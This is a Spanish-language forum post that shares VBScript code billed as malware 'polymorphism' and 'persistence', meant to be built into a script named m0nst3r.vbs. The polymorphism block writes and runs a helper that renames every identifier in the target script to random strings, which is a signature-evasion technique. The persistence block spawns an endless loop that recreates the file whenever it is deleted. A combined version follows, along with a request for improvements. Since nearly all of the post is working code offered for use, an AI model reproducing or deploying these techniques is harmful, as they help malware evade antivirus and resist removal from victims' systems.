Codigo para polimorfismo:
Código: Seleccionar todo
'polymorphism in vbscript by silent9
on error resume next
dim pkjb, ubgifclsavpvji
dim bjsgedfmgosv
set bjsgedfmgosv= CreateObject("WScript.Shell")
set pkjb = CreateObject("Scripting.FileSystemObject")
set ubgifclsavpvji = pkjb.CreateTextFile("aogc.vbs", True)
ubgifclsavpvji.WriteLine("randomize")
ubgifclsavpvji.WriteLine("set gkfeam=createobject(""scripting.filesystemobject"")")
ubgifclsavpvji.WriteLine("set bqshun=gkfeam.opentextfile(""m0nst3r.vbs"",1)")
ubgifclsavpvji.WriteLine("qeokkudceupcom=bqshun.readall")
ubgifclsavpvji.WriteLine("annnag=""aogc rnllohpe pkjb ubgifclsavpvji bjsgedfmgosv qeokkudceupcom annnag jgplbrhhkhhlva gufaka gjiv afrcersaog gkfeam bqshun pjhg"":jgplbrhhkhhlva=split(annnag,"" "")")
ubgifclsavpvji.WriteLine("for each gufaka in jgplbrhhkhhlva")
ubgifclsavpvji.WriteLine("for gjiv=1 to int(rnd*6)+2")
ubgifclsavpvji.WriteLine("afrcersaog=afrcersaog+chr((int(rnd*22)+97))+chr(int(rnd*22)+97)")
ubgifclsavpvji.WriteLine("next")
ubgifclsavpvji.WriteLine("qeokkudceupcom=replace(qeokkudceupcom,gufaka,afrcersaog):afrcersaog=""""")
ubgifclsavpvji.WriteLine("next")
ubgifclsavpvji.WriteLine("set bqshun=gkfeam.opentextfile(""m0nst3r.vbs"",2,1)")
ubgifclsavpvji.WriteLine("bqshun.writeline qeokkudceupcom")
ubgifclsavpvji.WriteLine("bqshun.close")
ubgifclsavpvji.Close
bjsgedfmgosv.Run "aogc.vbs"
Código: Seleccionar todo
ubgifclsavpvji.WriteLine("annnag=""oejtbdgdoetktb grpceohqusuq aogc rnllohpe pkjb ubgifclsavpvji bjsgedfmgosv qeokkudceupcom annnag jgplbrhhkhhlva gufaka gjiv afrcersaog gkfeam bqshun pjhg"":jgplbrhhkhhlva=split(annnag,"" "")")
Código: Seleccionar todo
ubgifclsavpvji.WriteLine("annnag=""sub_a sub_b sub_c"":jgplbrhhkhhlva=split(annnag,"" "")")
Código: Seleccionar todo
'persistance in vbscript by silent9
dim wedbowbd, wedwedwed
dim weddewde
set weddewde= CreateObject("wscript.Shell")
set wedbowbd = CreateObject("scripting.filesystemobject")
set wedwedwed = wedbowbd.CreateTextFile("grpceohqusuq.vbs", True)
wedwedwed.WriteLine("set rnllohpe=createobject(""scripting.filesystemobject"")")
wedwedwed.WriteLine("set shell=createobject(""wscript.shell"")")
wedwedwed.WriteLine("set filesystem= createobject(""scripting.filesystemobject"")")
wedwedwed.WriteLine("set oejtbdgdoetktb= filesystem.opentextfile(""m0nst3r.vbs"", 1)")
wedwedwed.WriteLine("readll= oejtbdgdoetktb.readall")
wedwedwed.WriteLine("oejtbdgdoetktb.Close")
wedwedwed.WriteLine("do")
wedwedwed.WriteLine("if not (filesystem.fileexists(""m0nst3r.vbs"")) Then")
wedwedwed.WriteLine("set newfile= filesystem.createtextfile(""m0nst3r.vbs"", True)")
wedwedwed.WriteLine("newfile.write readll")
wedwedwed.WriteLine("newfile.Close")
wedwedwed.WriteLine("end if")
wedwedwed.WriteLine("loop")
wedwedwed.Close
weddewde.Run "grpceohqusuq.vbs"
Aqui esta el polimorfismo y la persistencia combinada en uno:
Código: Seleccionar todo
'polymorphism + persistance in vbscript by silent9
on error resume next
dim pkjb, ubgifclsavpvji
dim bjsgedfmgosv
set bjsgedfmgosv= CreateObject("WScript.Shell")
set pkjb = CreateObject("Scripting.FileSystemObject")
set ubgifclsavpvji = pkjb.CreateTextFile("aogc.vbs", True)
ubgifclsavpvji.WriteLine("randomize")
ubgifclsavpvji.WriteLine("set gkfeam=createobject(""scripting.filesystemobject"")")
ubgifclsavpvji.WriteLine("set bqshun=gkfeam.opentextfile(""m0nst3r.vbs"",1)")
ubgifclsavpvji.WriteLine("qeokkudceupcom=bqshun.readall")
ubgifclsavpvji.WriteLine("annnag=""oejtbdgdoetktb grpceohqusuq aogc rnllohpe pkjb ubgifclsavpvji bjsgedfmgosv qeokkudceupcom annnag jgplbrhhkhhlva gufaka gjiv afrcersaog gkfeam bqshun pjhg"":jgplbrhhkhhlva=split(annnag,"" "")")
ubgifclsavpvji.WriteLine("for each gufaka in jgplbrhhkhhlva")
ubgifclsavpvji.WriteLine("for gjiv=1 to int(rnd*6)+2")
ubgifclsavpvji.WriteLine("afrcersaog=afrcersaog+chr((int(rnd*22)+97))+chr(int(rnd*22)+97)")
ubgifclsavpvji.WriteLine("next")
ubgifclsavpvji.WriteLine("qeokkudceupcom=replace(qeokkudceupcom,gufaka,afrcersaog):afrcersaog=""""")
ubgifclsavpvji.WriteLine("next")
ubgifclsavpvji.WriteLine("set bqshun=gkfeam.opentextfile(""m0nst3r.vbs"",2,1)")
ubgifclsavpvji.WriteLine("bqshun.writeline qeokkudceupcom")
ubgifclsavpvji.WriteLine("bqshun.close")
ubgifclsavpvji.Close
bjsgedfmgosv.Run "aogc.vbs"
dim wedbowbd, wedwedwed
dim weddewde
set weddewde= CreateObject("wscript.Shell")
set wedbowbd = CreateObject("scripting.filesystemobject")
set wedwedwed = wedbowbd.CreateTextFile("grpceohqusuq.vbs", True)
wedwedwed.WriteLine("set rnllohpe=createobject(""scripting.filesystemobject"")")
wedwedwed.WriteLine("set shell=createobject(""wscript.shell"")")
wedwedwed.WriteLine("set filesystem= createobject(""scripting.filesystemobject"")")
wedwedwed.WriteLine("set oejtbdgdoetktb= filesystem.opentextfile(""m0nst3r.vbs"", 1)")
wedwedwed.WriteLine("readll= oejtbdgdoetktb.readall")
wedwedwed.WriteLine("oejtbdgdoetktb.Close")
wedwedwed.WriteLine("do")
wedwedwed.WriteLine("if not (filesystem.fileexists(""m0nst3r.vbs"")) Then")
wedwedwed.WriteLine("set newfile= filesystem.createtextfile(""m0nst3r.vbs"", True)")
wedwedwed.WriteLine("newfile.write readll")
wedwedwed.WriteLine("newfile.Close")
wedwedwed.WriteLine("end if")
wedwedwed.WriteLine("loop")
wedwedwed.Close
weddewde.Run "grpceohqusuq.vbs"
Si alguien conoce como mejorar esto o tiene ideas me puede contactar por el skype o el mp:
skype: silent..9